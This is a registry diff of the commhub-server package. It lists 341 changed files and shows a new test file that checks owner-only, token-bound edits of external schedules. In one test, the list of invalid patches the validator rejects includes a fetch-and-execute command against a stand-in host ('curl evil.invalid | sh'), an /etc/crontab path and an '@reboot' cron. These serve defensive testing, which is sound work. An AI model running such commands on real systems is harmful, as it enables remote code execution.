@sleep2agi/commhub-server 0.9.0-preview.14 → 0.9.0-preview.141

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (341) hide show
  1. package/README.md +130 -10
  2. package/bin/commhub.ts +99 -11
  3. package/package.json +7 -7
  4. package/src/ack-create-request-transport.test.ts +182 -0
  5. package/src/ack-create-request.test.ts +50 -7
  6. package/src/admin-delete-network-http.test.ts +228 -0
  7. package/src/admin-networks-http.test.ts +88 -0
  8. package/src/adoption-candidates-http.test.ts +137 -0
  9. package/src/adoption-candidates.ts +158 -0
  10. package/src/agent-access-batch.test.ts +210 -0
  11. package/src/agent-access.ts +487 -0
  12. package/src/agent-acl-groups-http.test.ts +247 -0
  13. package/src/agent-acl-http.test.ts +659 -0
  14. package/src/agent-acl-slice3-http.test.ts +267 -0
  15. package/src/agent-department-http.test.ts +148 -0
  16. package/src/agent-groups-perf.test.ts +223 -0
  17. package/src/agent-notice.ts +48 -0
  18. package/src/agent-team-whoami-http.test.ts +98 -0
  19. package/src/agent-teams-http.test.ts +323 -0
  20. package/src/agent-teams.ts +244 -0
  21. package/src/alias-filter.test.ts +72 -0
  22. package/src/alias-filter.ts +42 -0
  23. package/src/api-host-supervisors-can-create-nodes.test.ts +350 -0
  24. package/src/api-host-supervisors-fallback.test.ts +271 -0
  25. package/src/api-host-supervisors-runtime-readiness.test.ts +195 -0
  26. package/src/api-nodes-shape.test.ts +26 -10
  27. package/src/auth-password-change-cli-tokens-http.test.ts +423 -0
  28. package/src/auth-sessions-http.test.ts +250 -0
  29. package/src/auth-validate.test.ts +5 -1
  30. package/src/auth-weak-password-login.test.ts +176 -0
  31. package/src/auth.ts +604 -51
  32. package/src/avatar-validate.test.ts +163 -0
  33. package/src/avatar-validate.ts +103 -0
  34. package/src/binding-generation-http.test.ts +121 -0
  35. package/src/blocked-exit-on-reply.test.ts +122 -0
  36. package/src/boot-side-effect.test.ts +124 -0
  37. package/src/chain-attempt-dedup.test.ts +447 -0
  38. package/src/clone-node.test.ts +248 -0
  39. package/src/clone-node.ts +289 -0
  40. package/src/codex-config-flags.ts +77 -0
  41. package/src/codex-fork-contract.ts +23 -0
  42. package/src/codex-fork-migration.test.ts +38 -0
  43. package/src/commhub-bin-args.test.ts +85 -0
  44. package/src/config-apply-sec1.test.ts +107 -0
  45. package/src/config-apply-validate.test.ts +134 -1
  46. package/src/config-apply-validate.ts +111 -5
  47. package/src/create-node-blocked-gate.test.ts +356 -0
  48. package/src/create-node-network-id.test.ts +79 -0
  49. package/src/create-node-tool-schema.test.ts +49 -0
  50. package/src/create-node-unicode-name.test.ts +120 -0
  51. package/src/create-node-validate.test.ts +199 -7
  52. package/src/create-node-validate.ts +232 -15
  53. package/src/create-node-workdir.test.ts +289 -0
  54. package/src/create-node.ts +88 -23
  55. package/src/daemon-provider-snapshots.test.ts +421 -0
  56. package/src/daemon-provider-snapshots.ts +327 -0
  57. package/src/daemon-token-owner-http.test.ts +236 -0
  58. package/src/dashboard-slash-routing-http.test.ts +109 -0
  59. package/src/db-adapter-guard.test.ts +148 -0
  60. package/src/db-adapter-translate.test.ts +128 -0
  61. package/src/db-adapter.ts +323 -87
  62. package/src/db-timestamp.test.ts +38 -0
  63. package/src/db-timestamp.ts +15 -0
  64. package/src/db.ts +1119 -42
  65. package/src/delivered-without-push.test.ts +140 -0
  66. package/src/department-groups-http.test.ts +209 -0
  67. package/src/department-groups-sync-http.test.ts +328 -0
  68. package/src/department-groups.ts +434 -0
  69. package/src/department-heads-http.test.ts +330 -0
  70. package/src/department-heads.ts +226 -0
  71. package/src/departments-http.test.ts +185 -0
  72. package/src/departments.ts +276 -0
  73. package/src/desktop-message-seam.test.ts +150 -0
  74. package/src/desktop-message.test.ts +368 -0
  75. package/src/dm-file-scope-http.test.ts +178 -0
  76. package/src/env-transport-gate-http.test.ts +146 -0
  77. package/src/env-transport-gate.ts +74 -0
  78. package/src/env-transport-policy.ts +21 -0
  79. package/src/ext-token-shared.test.ts +60 -0
  80. package/src/ext-validation-regression.test.ts +131 -0
  81. package/src/external-schedule-edits-http.test.ts +321 -0
  82. package/src/external-schedule-edits-timestamps.test.ts +64 -0
  83. package/src/external-schedule-edits.ts +327 -0
  84. package/src/file-download-authz-dev-open.test.ts +135 -0
  85. package/src/file-download-authz.test.ts +404 -0
  86. package/src/file-download-date-bucket.test.ts +436 -0
  87. package/src/file-network-scope-dev-open.test.ts +97 -0
  88. package/src/file-network-scope.test.ts +732 -0
  89. package/src/group-membership-events-http.test.ts +264 -0
  90. package/src/group-messages-http.test.ts +482 -0
  91. package/src/group-messages.ts +297 -0
  92. package/src/health-redaction.test.ts +642 -0
  93. package/src/host-supervisor-identity-http.test.ts +152 -0
  94. package/src/host-supervisor-identity.ts +92 -0
  95. package/src/http-gzip.test.ts +94 -0
  96. package/src/http-gzip.ts +112 -0
  97. package/src/hub-catalog-read-http.test.ts +187 -0
  98. package/src/hub-provider-config.test.ts +139 -0
  99. package/src/hub-provider-config.ts +105 -0
  100. package/src/hub-timestamp.test.ts +38 -0
  101. package/src/hub-timestamp.ts +27 -0
  102. package/src/human-dm.ts +215 -0
  103. package/src/human-inbox.ts +42 -0
  104. package/src/inbox-caller.ts +49 -0
  105. package/src/inbox-count-sse.test.ts +310 -0
  106. package/src/inbox-count.ts +29 -0
  107. package/src/index.ts +15 -2362
  108. package/src/lifecycle-guard.ts +1 -1
  109. package/src/list-host-supervisors.test.ts +5 -4
  110. package/src/mcp-context-cost-http.test.ts +123 -0
  111. package/src/mcp-projects-events-http.test.ts +162 -0
  112. package/src/mcp-route-label-http.test.ts +120 -0
  113. package/src/mcp-write-network-resolution.test.ts +432 -0
  114. package/src/member-audit-network-id-http.test.ts +93 -0
  115. package/src/member-presence-http.test.ts +210 -0
  116. package/src/messages-ack-by-agent-http.test.ts +142 -0
  117. package/src/migrate-sqlite-to-pg.test.ts +47 -0
  118. package/src/migrate-sqlite-to-pg.ts +263 -0
  119. package/src/model-auth-notify-http.test.ts +181 -0
  120. package/src/model-auth-notify.ts +116 -0
  121. package/src/network-name-http.test.ts +75 -0
  122. package/src/network-scope.ts +276 -0
  123. package/src/network-token-membership-http.test.ts +139 -0
  124. package/src/node-alias-control.ts +12 -0
  125. package/src/node-attrs-validate.ts +88 -0
  126. package/src/node-attrs.test.ts +217 -0
  127. package/src/node-caller-identity-http.test.ts +1083 -0
  128. package/src/node-create-request-status-http.test.ts +105 -0
  129. package/src/node-daemon-bindings.test.ts +132 -0
  130. package/src/node-daemon-bindings.ts +135 -0
  131. package/src/node-files-transport.test.ts +344 -0
  132. package/src/node-health-codex-login.test.ts +120 -0
  133. package/src/node-health-dispatch-http.test.ts +279 -0
  134. package/src/node-health-guard.ts +105 -0
  135. package/src/node-health-passthrough.test.ts +115 -0
  136. package/src/node-health-store.ts +101 -0
  137. package/src/node-id-alias.test.ts +190 -0
  138. package/src/node-identity-conflict-http.test.ts +269 -0
  139. package/src/node-identity-conflict.ts +142 -0
  140. package/src/node-identity-mismatch.test.ts +74 -0
  141. package/src/node-lifecycle-controllable.test.ts +64 -0
  142. package/src/node-lifecycle-controllable.ts +53 -0
  143. package/src/node-lifecycle-read-http.test.ts +245 -0
  144. package/src/node-lifecycle-read.ts +121 -0
  145. package/src/node-logs-transport.test.ts +263 -0
  146. package/src/node-permissions-http.test.ts +276 -0
  147. package/src/node-permissions.ts +285 -0
  148. package/src/node-request-retention.test.ts +281 -0
  149. package/src/node-request-retention.ts +120 -0
  150. package/src/node-secret-rest-http.test.ts +190 -0
  151. package/src/node-skills-transport.test.ts +209 -0
  152. package/src/node-token-identity.ts +35 -0
  153. package/src/node-token-ownership.ts +51 -0
  154. package/src/node-token-privilege-http.test.ts +158 -0
  155. package/src/observer-avatar-http.test.ts +442 -0
  156. package/src/observer-push.test.ts +252 -0
  157. package/src/opencode-v2-catalog.test.ts +268 -0
  158. package/src/opencode-v2-catalog.ts +352 -0
  159. package/src/package-version-consistency.test.ts +25 -0
  160. package/src/password-network-tokens.ts +25 -0
  161. package/src/peer-reply-atomic.test.ts +455 -0
  162. package/src/peer-reply-capability.test.ts +70 -0
  163. package/src/pg-worker.ts +87 -0
  164. package/src/project-dir-warn-clear-http.test.ts +132 -0
  165. package/src/project-viewer-can-http.test.ts +114 -0
  166. package/src/push.ts +429 -10
  167. package/src/redact-tokens.test.ts +65 -0
  168. package/src/redact-tokens.ts +40 -0
  169. package/src/rename.ts +38 -10
  170. package/src/reply-target-derivation.test.ts +96 -0
  171. package/src/report-status-handover-capabilities-http.test.ts +124 -0
  172. package/src/report-status-host-schema.test.ts +235 -0
  173. package/src/report-status-resume-id-handover.test.ts +184 -0
  174. package/src/report-status-secret-keys.test.ts +140 -0
  175. package/src/require-explicit-test-db.ts +9 -0
  176. package/src/requirement-due-reminders-http.test.ts +620 -0
  177. package/src/requirement-due-reminders.ts +416 -0
  178. package/src/requirement-events-http.test.ts +268 -0
  179. package/src/requirement-events.test.ts +45 -0
  180. package/src/requirement-events.ts +144 -0
  181. package/src/requirement-notify.ts +165 -0
  182. package/src/requirement-participant-notify-http.test.ts +309 -0
  183. package/src/requirement-tag-ops-http.test.ts +266 -0
  184. package/src/requirement-tags.ts +89 -0
  185. package/src/requirements-abandoned-http.test.ts +236 -0
  186. package/src/requirements-comment-http.test.ts +167 -0
  187. package/src/requirements-completed-at-migration.test.ts +70 -0
  188. package/src/requirements-errors-mcp-http.test.ts +164 -0
  189. package/src/requirements-errors.ts +143 -0
  190. package/src/requirements-etag-http.test.ts +91 -0
  191. package/src/requirements-http.test.ts +709 -0
  192. package/src/requirements-last-event-http.test.ts +349 -0
  193. package/src/requirements-list-mcp-slim-http.test.ts +155 -0
  194. package/src/requirements-list-slim-http.test.ts +319 -0
  195. package/src/requirements-mcp.test.ts +163 -0
  196. package/src/requirements-migrate.ts +259 -0
  197. package/src/requirements-owner-strict-mcp-http.test.ts +145 -0
  198. package/src/requirements-people-http.test.ts +114 -0
  199. package/src/requirements-people-mcp-http.test.ts +225 -0
  200. package/src/requirements-people.ts +131 -0
  201. package/src/requirements-priority-lowest.test.ts +114 -0
  202. package/src/requirements-search-http.test.ts +182 -0
  203. package/src/requirements-search.test.ts +32 -0
  204. package/src/requirements-search.ts +145 -0
  205. package/src/requirements-seq-http.test.ts +193 -0
  206. package/src/requirements-seq-migration.test.ts +63 -0
  207. package/src/requirements-start-date.test.ts +125 -0
  208. package/src/requirements-stats-http.test.ts +357 -0
  209. package/src/requirements-stats.ts +195 -0
  210. package/src/requirements-status-participants-http.test.ts +222 -0
  211. package/src/requirements-upgrade-e2e.test.ts +126 -0
  212. package/src/requirements-upgrade-migration.test.ts +98 -0
  213. package/src/requirements.ts +1806 -0
  214. package/src/resolve-port.test.ts +57 -0
  215. package/src/resolve-port.ts +44 -0
  216. package/src/response-charset.test.ts +130 -0
  217. package/src/rest-explicit-columns-http.test.ts +222 -0
  218. package/src/rest-identity.test.ts +130 -0
  219. package/src/rest-identity.ts +141 -0
  220. package/src/rest-projections.ts +70 -0
  221. package/src/rest-write-network-resolution.test.ts +133 -0
  222. package/src/restricted-files.ts +76 -0
  223. package/src/retention.ts +15 -3
  224. package/src/route-callers-http.test.ts +120 -0
  225. package/src/route-timing.test.ts +211 -0
  226. package/src/route-timing.ts +258 -0
  227. package/src/rules-file-duplicate-alias.test.ts +234 -0
  228. package/src/rules-file-session-target.test.ts +207 -0
  229. package/src/rules-file-transport.test.ts +237 -0
  230. package/src/runtime-label.test.ts +22 -0
  231. package/src/runtime-label.ts +21 -0
  232. package/src/runtime-readiness.ts +90 -0
  233. package/src/schedule-agent-mcp-http.test.ts +381 -0
  234. package/src/schedule-agent.ts +192 -0
  235. package/src/scheduled-backoff-http.test.ts +193 -0
  236. package/src/scheduled-backoff.ts +64 -0
  237. package/src/scheduled-doorbell-nodeless-session.test.ts +134 -0
  238. package/src/scheduled-failures-http.test.ts +233 -0
  239. package/src/scheduled-failures.ts +179 -0
  240. package/src/scheduled-offline.test.ts +131 -0
  241. package/src/scheduled-offline.ts +66 -0
  242. package/src/scheduled-outcome-guidance-http.test.ts +139 -0
  243. package/src/scheduled-outcome-guidance.ts +9 -0
  244. package/src/scheduled-reply-unread-http.test.ts +212 -0
  245. package/src/scheduled-requirement-wake-http.test.ts +264 -0
  246. package/src/scheduled-requirement-wake.ts +125 -0
  247. package/src/scheduled-run-terminal.test.ts +268 -0
  248. package/src/scheduled-skip-blocking-task.test.ts +120 -0
  249. package/src/scheduled-stuck-http.test.ts +312 -0
  250. package/src/scheduled-stuck.ts +186 -0
  251. package/src/scheduled-tasks-http.test.ts +679 -0
  252. package/src/scheduled-tasks.ts +885 -0
  253. package/src/scheduled-work-outcome-http.test.ts +154 -0
  254. package/src/scheduled-work-outcome.ts +50 -0
  255. package/src/scoped-secrets.ts +139 -0
  256. package/src/send-dedup-request-id.test.ts +229 -0
  257. package/src/send-reply-agent-warning.test.ts +202 -0
  258. package/src/send-reply-alias-optional.test.ts +131 -0
  259. package/src/send-reply-attachments.test.ts +458 -0
  260. package/src/send_dedup.test.ts +54 -0
  261. package/src/send_dedup.ts +52 -6
  262. package/src/serve-error.test.ts +38 -0
  263. package/src/serve-error.ts +27 -0
  264. package/src/server.ts +5398 -0
  265. package/src/session-task-on-dispatch.ts +14 -0
  266. package/src/session-token-ownership-http.test.ts +122 -0
  267. package/src/shared/codex-inventory.ts +41 -0
  268. package/src/shared/daemon-provider-login.ts +31 -0
  269. package/src/shared/daemon-provider-snapshot.ts +52 -0
  270. package/src/shared/external-schedule-contract.ts +60 -0
  271. package/src/shared/node-name.test.ts +62 -0
  272. package/src/shared/node-name.ts +161 -0
  273. package/src/shared/provider-application.ts +29 -0
  274. package/src/shared/provider-collection.ts +14 -0
  275. package/src/shared/provider-initialization.ts +8 -0
  276. package/src/shared/reserved-env-drift.test.ts +10 -0
  277. package/src/shared/scoped-secret-contract.ts +5 -0
  278. package/src/shared/task-content-limit-drift.test.ts +28 -0
  279. package/src/shared/task-content-limit.ts +25 -0
  280. package/src/side-thread-command-transport.test.ts +312 -0
  281. package/src/side-thread-command-transport.ts +318 -0
  282. package/src/side-thread-http-integration.test.ts +233 -0
  283. package/src/side-thread-http.ts +504 -0
  284. package/src/side-thread-production.test.ts +72 -0
  285. package/src/side-thread-production.ts +118 -0
  286. package/src/side-thread.test.ts +1067 -0
  287. package/src/side-thread.ts +2499 -0
  288. package/src/skillhub-http.test.ts +108 -0
  289. package/src/sqlite-close-checkpoint.test.ts +78 -0
  290. package/src/start-node.test.ts +264 -0
  291. package/src/status-alias-filter-http.test.ts +106 -0
  292. package/src/status-alias-resolver-http.test.ts +163 -0
  293. package/src/status-alias-resolver.ts +19 -0
  294. package/src/status-node-id-filter-http.test.ts +161 -0
  295. package/src/status-read-cache-http.test.ts +229 -0
  296. package/src/status-read-cache.ts +122 -0
  297. package/src/stop-delete-node.test.ts +509 -2
  298. package/src/task-access-http.test.ts +402 -0
  299. package/src/task-access.ts +420 -0
  300. package/src/task-activity.ts +60 -0
  301. package/src/task-auth-origin-http.test.ts +93 -0
  302. package/src/task-auth-origin.test.ts +24 -0
  303. package/src/task-auth-origin.ts +7 -0
  304. package/src/task-consumption.test.ts +482 -0
  305. package/src/task-diagnostic-http.test.ts +149 -0
  306. package/src/task-diagnostic.test.ts +115 -0
  307. package/src/task-diagnostic.ts +118 -0
  308. package/src/task-expiry-notice-http.test.ts +287 -0
  309. package/src/task-expiry-notice.ts +315 -0
  310. package/src/task-idempotency-mcp.test.ts +142 -0
  311. package/src/task-idempotency.test.ts +60 -0
  312. package/src/task-idempotency.ts +75 -0
  313. package/src/task-late-replies.ts +54 -0
  314. package/src/task-late-reply-http.test.ts +152 -0
  315. package/src/task-lifecycle-watcher.test.ts +204 -0
  316. package/src/task-lifecycle-watcher.ts +49 -0
  317. package/src/task-network-resolution-http.test.ts +140 -0
  318. package/src/task-orphan-http.test.ts +287 -0
  319. package/src/task-orphan.ts +119 -0
  320. package/src/task-queue-ahead-http.test.ts +309 -0
  321. package/src/task-queue-ahead-scale.test.ts +236 -0
  322. package/src/task-queue-ahead.ts +186 -0
  323. package/src/task-rejection-log-http.test.ts +160 -0
  324. package/src/task-rejection-log.ts +49 -0
  325. package/src/task-sender-http.test.ts +143 -0
  326. package/src/task-stale-open-http.test.ts +290 -0
  327. package/src/task-stale-open.ts +103 -0
  328. package/src/tasks-pagination-http.test.ts +141 -0
  329. package/src/tool-audience-http.test.ts +220 -0
  330. package/src/tool-audience.ts +118 -0
  331. package/src/tools-list-json-schema.test.ts +67 -0
  332. package/src/tools.ts +4008 -355
  333. package/src/upload-early-reject-guard.test.ts +155 -0
  334. package/src/uploads-http.test.ts +97 -15
  335. package/src/uploads.ts +103 -6
  336. package/src/user-avatar-http.test.ts +74 -0
  337. package/src/user-avatar-migration.test.ts +25 -0
  338. package/src/user-inbox-by-agent-http.test.ts +161 -0
  339. package/src/user-inbox-netid-notnull.test.ts +122 -0
  340. package/src/user-inbox-read-http.test.ts +223 -0
  341. package/src/user-inbox-schema.test.ts +54 -0
@@ -0,0 +1,321 @@
1
+ import { afterAll, beforeAll, describe, expect, test } from "bun:test";
2
+ import { mkdtempSync, rmSync } from "node:fs";
3
+ import { tmpdir } from "node:os";
4
+ import { join } from "node:path";
5
+ import { addNetworkMember, createNetworkTokenForNode, register } from "./auth.js";
6
+ import { db } from "./db.js";
7
+ import { upsertNodeWithSec1Guard } from "./tools.js";
8
+
9
+ const dir = mkdtempSync(join(tmpdir(), "anet-external-schedule-edits-"));
10
+ if (!process.env.COMMHUB_DB) throw new Error("test688 requires COMMHUB_DB before module import");
11
+
12
+ const stamp = `${process.pid}_${Date.now()}`;
13
+ const nodeId = `n_b4_${stamp}`;
14
+ const alias = `b4-node-${stamp}`;
15
+ const scheduleId = "managed-news-pull";
16
+ let server: any;
17
+ let base = "";
18
+ let networkId = "";
19
+ let adminToken = "";
20
+ let ownerToken = "";
21
+ let memberToken = "";
22
+ let nodeToken = "";
23
+ let foreignNodeToken = "";
24
+ let nodeTokenId = "";
25
+ let ownerId = "";
26
+ let memberId = "";
27
+
28
+ async function api(token: string, path: string, init?: RequestInit) {
29
+ const response = await fetch(`${base}${path}`, {
30
+ ...init,
31
+ headers: { Authorization: `Bearer ${token}`, "Content-Type": "application/json", ...(init?.headers || {}) },
32
+ });
33
+ return { status: response.status, body: await response.json() as any };
34
+ }
35
+
36
+ function snapshot(revision: number, extra: Record<string, unknown> = {}) {
37
+ return JSON.stringify({
38
+ observed_at: new Date().toISOString(),
39
+ schedules: [{
40
+ id: scheduleId,
41
+ name: "Pull X news",
42
+ kind: "cron",
43
+ frequency: "0 */6 * * *",
44
+ status: "active",
45
+ enabled: true,
46
+ editable: true,
47
+ revision,
48
+ log_ref: "grok-news.log",
49
+ ...extra,
50
+ }],
51
+ });
52
+ }
53
+
54
+ // 30s 而不是 bun 默认的 5s:这个 hook 跑 register()(KDF)+bootServer(),
55
+ // 本机空载基线 ~620ms,而 2026-08-17 与 2026-08-31 两次 CI 上它被 5s 上限打死
56
+ // (0 pass / 1 fail / Ran 1 test —— 见 #928、#1627)。5247ms 是**被截断的下界**,
57
+ // 不是测量值,所以余量按基线的 ~48x 取,而不是按那个数取。
58
+ beforeAll(async () => {
59
+ const admin = register(`b4_admin_${stamp}`, "B4Admin123!", undefined, "B4 Admin");
60
+ const owner = register(`b4_owner_${stamp}`, "B4Owner123!", undefined, "B4 Owner");
61
+ const member = register(`b4_member_${stamp}`, "B4Member123!", undefined, "B4 Member");
62
+ expect(admin.ok && owner.ok && member.ok).toBe(true);
63
+ adminToken = admin.token!;
64
+ ownerToken = owner.token!;
65
+ memberToken = member.token!;
66
+ networkId = admin.network_id!;
67
+ const adminId = admin.user!.user_id;
68
+ ownerId = owner.user!.user_id;
69
+ memberId = member.user!.user_id;
70
+ // 多用户 Agent 权限:新成员默认只看授权 Agent;本测试测的是「完全信任的成员」旧语义,显式 agent_access=all。
71
+ expect(addNetworkMember(networkId, ownerId, "member", adminId, { agentAccess: "all" }).ok).toBe(true);
72
+ expect(addNetworkMember(networkId, memberId, "member", adminId, { agentAccess: "all" }).ok).toBe(true);
73
+
74
+ const minted = createNetworkTokenForNode(ownerId, networkId, alias, nodeId);
75
+ expect(minted.ok).toBe(true);
76
+ nodeToken = minted.token!;
77
+ nodeTokenId = minted.token_id!;
78
+ const foreign = createNetworkTokenForNode(memberId, networkId, `foreign-${alias}`, `n_foreign_${stamp}`);
79
+ expect(foreign.ok).toBe(true);
80
+ foreignNodeToken = foreign.token!;
81
+
82
+ db.run(
83
+ `INSERT INTO sessions (resume_id, alias, status, node_id, network_id, external_schedules, updated_at)
84
+ VALUES (?1, ?2, 'idle', ?3, ?4, ?5, datetime('now'))`,
85
+ [`r_b4_${stamp}`, alias, nodeId, networkId, snapshot(7)],
86
+ );
87
+
88
+ const mod: any = await import("./server.js");
89
+ server = mod.bootServer({ port: 0, hostname: "127.0.0.1" });
90
+ base = `http://127.0.0.1:${server.port}`;
91
+ }, 30_000);
92
+
93
+ afterAll(() => {
94
+ try { server?.stop?.(true); } catch {}
95
+ try { rmSync(dir, { recursive: true, force: true }); } catch {}
96
+ });
97
+
98
+ describe("RFC-036 exact-owner external schedule edit intents", () => {
99
+ test("ownership is pinned at node-token mint and cannot be stolen", () => {
100
+ const node = db.get<any>("SELECT owner_user_id, network_id FROM nodes WHERE node_id = ?1", nodeId)!;
101
+ expect(node.owner_user_id).toBe(ownerId);
102
+ expect(node.network_id).toBe(networkId);
103
+ const ownerAudit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.owner_claimed' AND target_id = ?1", nodeId)!;
104
+ expect(ownerAudit).toBeTruthy();
105
+ expect(JSON.parse(ownerAudit.detail)).toEqual({ node_id: nodeId, network_id: networkId });
106
+ const theft = createNetworkTokenForNode(memberId, networkId, alias, nodeId);
107
+ expect(theft).toEqual({ ok: false, error: "node_owner_mismatch" });
108
+
109
+ const legacy = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`);
110
+ expect(legacy.ok).toBe(true);
111
+ expect(db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", legacy.token_id!)!.bound_node_id).toBeNull();
112
+ });
113
+
114
+ test("the real node-token HTTP endpoint requires and persists the immutable node binding", async () => {
115
+ const httpNodeId = `n_b4_http_${stamp}`;
116
+ const minted = await api(ownerToken, "/api/auth/node-token", {
117
+ method: "POST",
118
+ body: JSON.stringify({ network_id: networkId, node_name: `${alias}-http`, node_id: httpNodeId }),
119
+ });
120
+ expect(minted.status).toBe(200);
121
+ expect(minted.body.node_id).toBe(httpNodeId);
122
+ expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", httpNodeId)!.owner_user_id).toBe(ownerId);
123
+ const resolved = db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", minted.body.token_id)!;
124
+ expect(resolved.bound_node_id).toBe(httpNodeId);
125
+ });
126
+
127
+ test("report_status verifies an owner binding but never first-claims a legacy node", () => {
128
+ expect(upsertNodeWithSec1Guard({
129
+ node_id: nodeId,
130
+ callerNetworkId: networkId,
131
+ callerUserId: ownerId,
132
+ callerTokenId: nodeTokenId,
133
+ alias,
134
+ runtime: "codex-app-server",
135
+ }).result).toBe("updated");
136
+ const wrongOwner = upsertNodeWithSec1Guard({
137
+ node_id: nodeId,
138
+ callerNetworkId: networkId,
139
+ callerUserId: memberId,
140
+ callerTokenId: nodeTokenId,
141
+ alias,
142
+ });
143
+ expect(wrongOwner).toMatchObject({ result: "refused", reason: "owner_mismatch" });
144
+
145
+ const legacyNodeId = `n_b4_legacy_${stamp}`;
146
+ db.run(
147
+ "INSERT INTO nodes (node_id, node_name, alias, network_id) VALUES (?1, ?2, ?2, ?3)",
148
+ [legacyNodeId, `${alias}-legacy`, networkId],
149
+ );
150
+ expect(upsertNodeWithSec1Guard({
151
+ node_id: legacyNodeId,
152
+ callerNetworkId: networkId,
153
+ callerUserId: ownerId,
154
+ alias: `${alias}-legacy`,
155
+ runtime: "claude-code-cli",
156
+ }).result).toBe("updated");
157
+ expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
158
+ const legacyClaim = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`, legacyNodeId);
159
+ expect(legacyClaim).toEqual({ ok: false, error: "node_owner_unclaimed" });
160
+ expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
161
+ });
162
+
163
+ test("network admin, member, node token, and unknown authority fields cannot create an intent", async () => {
164
+ const request = {
165
+ network_id: networkId,
166
+ schedule_id: scheduleId,
167
+ base_revision: 7,
168
+ patch: { enabled: false },
169
+ };
170
+ for (const token of [adminToken, memberToken, nodeToken]) {
171
+ const denied = await api(token, `/api/nodes/${nodeId}/external-schedule-edits`, { method: "POST", body: JSON.stringify(request) });
172
+ expect(denied.status).toBe(403);
173
+ }
174
+ const forged = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
175
+ method: "POST",
176
+ body: JSON.stringify({ ...request, owner_user_id: ownerId }),
177
+ });
178
+ expect(forged.status).toBe(400);
179
+ expect(forged.body.error).toBe("invalid_request");
180
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
181
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_requested'")!.count).toBe(0);
182
+ });
183
+
184
+ test("structured patch rejects command, paths, aliases, malformed cron, and empty edits before write", async () => {
185
+ const invalidPatches = [
186
+ { command: "curl evil.invalid | sh" },
187
+ { path: "/etc/crontab" },
188
+ { env: { SECRET: "value" } },
189
+ { cron: "@reboot" },
190
+ { cron: "0 0 * * * root" },
191
+ { cron: "0 0 * * *\n* * * * *" },
192
+ { cron: "61 0 * * *" },
193
+ {},
194
+ ];
195
+ for (const patch of invalidPatches) {
196
+ const denied = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
197
+ method: "POST",
198
+ body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch }),
199
+ });
200
+ expect(denied.status).toBe(400);
201
+ }
202
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
203
+ });
204
+
205
+ test("concurrent owner requests create exactly one opaque pending intent", async () => {
206
+ const request = {
207
+ method: "POST",
208
+ body: JSON.stringify({
209
+ network_id: networkId,
210
+ schedule_id: scheduleId,
211
+ base_revision: 7,
212
+ patch: { cron: "0 */12 * * *", enabled: true },
213
+ }),
214
+ };
215
+ const responses = await Promise.all([
216
+ api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
217
+ api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
218
+ ]);
219
+ expect(responses.map((value) => value.status).sort()).toEqual([202, 409]);
220
+ const accepted = responses.find((value) => value.status === 202)!;
221
+ expect(accepted.body.intent.intent_id).toMatch(/^sei_[0-9a-f-]+$/);
222
+ expect(accepted.body.intent.patch).toEqual({ enabled: true, cron: "0 */12 * * *" });
223
+ expect(accepted.body.intent.created_by_user).toBeUndefined();
224
+ expect(accepted.body.intent.created_by_token).toBeUndefined();
225
+ expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
226
+
227
+ const audit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.edit_requested'")!;
228
+ expect(audit).toBeTruthy();
229
+ expect(audit.detail).not.toContain("curl");
230
+ expect(audit.detail).not.toContain("/etc/");
231
+ expect(audit.detail).not.toContain("utok_");
232
+ expect(JSON.parse(audit.detail).fields).toEqual(["cron", "enabled"]);
233
+ });
234
+
235
+ test("only the exact bound node token can claim; lost-response pull and terminal ack are idempotent", async () => {
236
+ const foreign = await api(foreignNodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
237
+ expect(foreign.status).toBe(403);
238
+ expect(foreign.body.error).toBe("node_token_binding_required");
239
+
240
+ const first = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
241
+ expect(first.status).toBe(200);
242
+ expect(first.body.intent.status).toBe("delivered");
243
+ const intentId = first.body.intent.intent_id;
244
+ const repeated = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
245
+ expect(repeated.body.intent.intent_id).toBe(intentId);
246
+
247
+ const wrongRevision = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
248
+ method: "POST", body: JSON.stringify({ status: "applied", result_revision: 99 }),
249
+ });
250
+ expect(wrongRevision.status).toBe(409);
251
+ expect(wrongRevision.body.error).toBe("invalid_result_revision");
252
+
253
+ const applied = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
254
+ method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
255
+ });
256
+ expect(applied.status).toBe(200);
257
+ expect(applied.body.intent.status).toBe("applied");
258
+ const retried = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
259
+ method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
260
+ });
261
+ expect(retried.status).toBe(200);
262
+ expect(retried.body.idempotent).toBe(true);
263
+ const contradictory = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
264
+ method: "POST", body: JSON.stringify({ status: "rejected", error_code: "local_apply_failed" }),
265
+ });
266
+ expect(contradictory.status).toBe(409);
267
